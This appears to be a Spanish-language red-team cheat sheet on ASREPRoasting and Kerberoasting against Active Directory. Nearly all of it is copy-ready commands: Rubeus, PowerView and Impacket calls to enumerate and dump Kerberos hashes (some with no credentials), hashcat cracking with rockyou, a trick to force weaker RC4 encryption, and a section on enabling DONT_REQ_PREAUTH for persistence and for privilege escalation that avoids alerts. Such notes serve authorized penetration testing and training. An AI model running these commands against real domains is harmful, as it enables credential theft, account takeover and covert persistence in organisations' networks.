ASREPRoasting (Windows)
Ataque contra cuentas que tienen deshabilitada la pre-autenticación Kerberos (DONT_REQ_PREAUTH). Permite obtener un hash cifrado con la contraseña del usuario sin necesitar credenciales previas, para crackearlo offline.
¿Cómo funciona?
Si una cuenta tiene DONT_REQ_PREAUTH activo, el KDC responde a un AS-REQ con un AS-REP sin verificar la identidad del solicitante. El AS-REP contiene datos cifrados con la clave del usuario que se pueden crackear offline con Hashcat módulo 18200.
Enumerar cuentas vulnerables
Con PowerView
Import-Module .\PowerView.ps1
Get-DomainUser -UACFilter DONT_REQ_PREAUTHCon Rubeus
# Escanear cuentas sin pre-autenticación
.\Rubeus.exe preauthscan /domain:domain.local
# Enumerar y obtener hashes de todas las cuentas vulnerables
.\Rubeus.exe asreproast /format:hashcatRealizar el ataque
Con Rubeus - usuario específico
.\Rubeus.exe asreproast /user:<usuario> /domain:<domain.local> /dc:<dc01.domain.local> /nowrap /outfile:hashes.txtCon Rubeus - todos los usuarios vulnerables
.\Rubeus.exe asreproast /format:hashcat /nowrap /outfile:hashes.txtCrackear el hash
# Hashcat módulo 18200 (Kerberos 5, etype 23, AS-REP)
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
# Con reglas
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Ver resultados ya crackeados
hashcat -m 18200 hashes.txt --showTargeted ASREPRoasting (con GenericAll/GenericWrite)
Si se tiene GenericAll o GenericWrite sobre una cuenta, se puede habilitar temporalmente DONT_REQ_PREAUTH, obtener el hash y crackearlo sin resetear la contraseña.
Habilitar DONT_REQ_PREAUTH con PowerView
Import-Module .\PowerView.ps1
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -VerboseLuego obtener el hash con Rubeus
.\Rubeus.exe asreproast /user:<username> /format:hashcat /nowrap /outfile:hashes.txtDeshabilitar DONT_REQ_PREAUTH (limpiar tras el ataque)
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -VerboseNotas
- No requiere credenciales de dominio si ya se conocen los usuarios vulnerables
- El éxito depende de que la cuenta tenga contraseña débil
- Es relativamente raro encontrar cuentas con pre-auth deshabilitada, pero algunos vendors lo configuran así por defecto en sus service accounts
- El formato del hash es
$krb5asrep$23$<usuario>@<DOMAIN>:...
ASREPRoasting (Linux)
Versión del ataque ASREPRoasting usando herramientas de Linux. Permite enumerar cuentas con DONT_REQ_PREAUTH y obtener sus hashes, incluso sin credenciales si se tiene una lista de usuarios.
Links: Impacket GetNPUsers | Hashcat
Prerequisito - Resolución DNS
Kerberos en Linux necesita resolver el FQDN del dominio y del DC. Agregar entrada en /etc/hosts antes de atacar.
echo '<IP_DC> dc01.domain.local domain.local' | sudo tee -a /etc/hostsEnumerar cuentas vulnerables (con credenciales)
GetNPUsers.py domain.local/<usuario_valido>Pedirá la contraseña del usuario válido para autenticarse y listar las cuentas con DONT_REQ_PREAUTH.
Obtener los hashes (con credenciales)
Agregar -request para pedir directamente los hashes en formato Hashcat.
GetNPUsers.py domain.local/<usuario_valido> -requestEncontrar cuentas vulnerables sin autenticación
Si no se tienen credenciales pero sí una lista de usuarios, se puede intentar contra cada uno sin proveer contraseña.
GetNPUsers.py DOMAIN/ -dc-ip <IP_DC> -usersfile users.txt -format hashcat -outputfile hashes.txt -no-passEs normal recibir errores KDC_ERR_C_PRINCIPAL_UNKNOWN para los usuarios que no existen; los hashes de las cuentas vulnerables igual se guardan en el archivo de salida.
cat hashes.txtCrackear los hashes
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txtUso en Red Team
Persistencia
Habilitar DONT_REQ_PREAUTH en una cuenta permite recuperar acceso si la contraseña cambia, sin necesitar resetearla. Útil en cuentas fuera del alcance de monitoreo (impresoras, cuentas de servicios legacy).
Escalada de privilegios
Si se tiene capacidad de modificar atributos de una cuenta (pero no su contraseña), habilitar este flag evita el riesgo de un reset de contraseña (que suele generar alertas) y permite intentar crackear el hash directamente.
Resumen del flujo
- Resolver el FQDN del dominio en
/etc/hosts - Con credenciales:
GetNPUsers.py domain/user -request - Sin credenciales:
GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -format hashcat -outputfile hashes.txt - Crackear con
hashcat -m 18200 - El éxito depende de que la cuenta tenga una contraseña débil
Kerberoasting (Windows)
Ataque contra cuentas de servicio que permite crackear offline su contraseña. A diferencia de ASREPRoasting, requiere autenticación previa al dominio (cualquier cuenta válida, incluso de bajo privilegio).
Links: Rubeus | PowerView | Hashcat | Setspn - Microsoft | AS-Requested STs - Semperis
¿Cómo funciona?
Cuando una cuenta tiene un SPN (Service Principal Name) configurado, cualquier usuario del dominio puede solicitar un Service Ticket (TGS) para ese servicio. El TGS está cifrado con la clave de la cuenta de servicio. Si esa cuenta es una cuenta de usuario (no una cuenta de máquina con password de 120 caracteres), el hash se puede crackear offline.
Las cuentas vulnerables a kerberoasting con cifrado RC4 son más fáciles de crackear que las que usan AES.
Detección manual - Filtro LDAP
(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))Devuelve todos los usuarios (no máquinas) con al menos un SPN configurado.
Script PowerShell para buscar cuentas con SPN
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results) {
$userEntry = $result.GetDirectoryEntry()
Write-host "User"
Write-Host $userEntry.name "(" $userEntry.distinguishedName ")"
Write-host "SPNs"
foreach($SPN in $userEntry.servicePrincipalName) { $SPN }
}Con Setspn (binario nativo de Windows)
setspn -Q */*Enumeración con PowerView
Import-Module .\PowerView.ps1
# Listar usuarios con SPN
Get-DomainUser -SPNRealizar el ataque con PowerView
Método manual
Get-DomainUser * -SPN | Get-DomainSPNTicket -format Hashcat | export-csv .\tgs.csv -notypeinformationCon Invoke-Kerberoast (recomendado)
Invoke-KerberoastRealizar el ataque con Rubeus
Kerberoastear todas las cuentas vulnerables
Rubeus.exe kerberoast /nowrapGuardar resultado en archivo
Rubeus.exe kerberoast /nowrap /outfile:hashes.txtFiltrar por fecha de cambio de contraseña
Útil para encontrar cuentas legacy con contraseñas antiguas y débiles.
Rubeus.exe kerberoast /pwdsetafter:<fecha> /pwdsetbefore:<fecha> /nowrapVer estadísticas sin enviar requests
Rubeus.exe kerberoast /statsForzar RC4 en cuentas con AES (más fácil de crackear)
Si el hash empieza con $krb5tgs$18$* es AES (difícil de crackear). Si empieza con $krb5tgs$23$* es RC4 (más fácil).
Rubeus.exe kerberoast /tgtdeleg /nowrapCrackear los hashes
# Hashcat módulo 13100 (Kerberos 5, etype 23, TGS-REP)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txtKerberoasting sin contraseña de cuenta (caso especial)
Si se conoce una cuenta con DONT_REQ_PREAUTH habilitado, se puede usar un AS-REQ modificado para solicitar un TGS sin necesidad de autenticación previa.
Requisitos
- Username de una cuenta con
DONT_REQ_PREAUTH - SPN(s) objetivo
Simular sesión sin autenticar con Rubeus
Rubeus.exe createnetonly /program:cmd.exe /showEjecutar el ataque desde la nueva sesión
Rubeus.exe kerberoast /nopreauth:<usuario_sin_preauth> /domain:<domain.local> /spn:<SPN_objetivo> /nowrapPara probar múltiples SPNs:
Rubeus.exe kerberoast /nopreauth:<usuario_sin_preauth> /domain:<domain.local> /spns:listofspn.txt /nowrapResumen del flujo
- Enumerar cuentas con SPN (PowerView, Setspn, o filtro LDAP)
- Solicitar TGS tickets con Rubeus o Invoke-Kerberoast
- Identificar si el cifrado es RC4 (
$krb5tgs$23$) o AES ($krb5tgs$18$) - Si es AES, intentar
/tgtdelegpara forzar RC4 - Crackear con Hashcat módulo 13100
- Si no se tienen credenciales pero sí una cuenta sin pre-auth, usar
/nopreauthcon Rubeus
Kerberoasting (Linux)
Versión del ataque Kerberoasting usando herramientas de Linux. Permite enumerar cuentas con SPN y obtener sus hashes para crackear offline.
Links: Impacket GetUserSPNs | Hashcat
Enumerar cuentas con SPN (Kerberoastable)
GetUserSPNs.py domain.local/<usuario_valido>Pedirá la contraseña del usuario. El output muestra el SPN, nombre de cuenta, grupos a los que pertenece, fecha de cambio de contraseña, último logon y tipo de delegación (si aplica).
Obtener los hashes (TGS tickets)
Agregar -request para solicitar el TGS ticket de cada cuenta vulnerable en formato Hashcat.
GetUserSPNs.py domain.local/<usuario_valido> -requestGuardar el output en un archivo
GetUserSPNs.py domain.local/<usuario_valido> -request -outputfile hashes.txtEspecificar la contraseña inline (evitar el prompt)
GetUserSPNs.py domain.local/<usuario_valido>:'<password>' -request -outputfile hashes.txtCon hash NTLM en lugar de contraseña
GetUserSPNs.py domain.local/<usuario_valido> -hashes <LM:NT> -request -outputfile hashes.txtCrackear los hashes
# Hashcat módulo 13100 (Kerberos 5, etype 23, TGS-REP)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# Ver resultados ya crackeados
hashcat -m 13100 hashes.txt --showResumen del flujo
- Tener una cuenta de dominio válida (cualquier privilegio)
- Enumerar cuentas con SPN:
GetUserSPNs.py domain/user - Solicitar los TGS tickets:
GetUserSPNs.py domain/user -request -outputfile hashes.txt - Crackear offline con
hashcat -m 13100 - Validar las credenciales obtenidas y continuar la enumeración con la nueva cuenta